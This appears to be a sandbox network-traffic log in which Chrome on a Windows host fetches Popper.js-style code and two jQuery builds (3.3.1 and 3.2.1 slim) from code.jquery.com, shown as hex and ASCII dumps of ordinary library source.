2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2025-01-10 17:37:42 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49726	151.101.66.137	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:42 UTC	581	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://t6vgccvtc.thehang.top:8443 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:42 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2086327 Date: Fri, 10 Jan 2025 17:37:42 GMT X-Served-By: cache-lga21980-LGA, cache-ewr-kewr1740042-EWR X-Cache: HIT, HIT X-Cache-Hits: 458, 0 X-Timer: S1736530663.804853,VS0,VE1 Vary: Accept-Encoding
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49727	151.101.66.137	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:42 UTC	590	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://t6vgccvtc.thehang.top:8443 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:42 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 10 Jan 2025 17:37:42 GMT Age: 1048066 X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740051-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 76 X-Timer: S1736530663.808452,VS0,VE0 Vary: Accept-Encoding
2025-01-10 17:37:42 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-01-10 17:37:42 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2025-01-10 17:37:42 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2025-01-10 17:37:43 UTC	15923	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
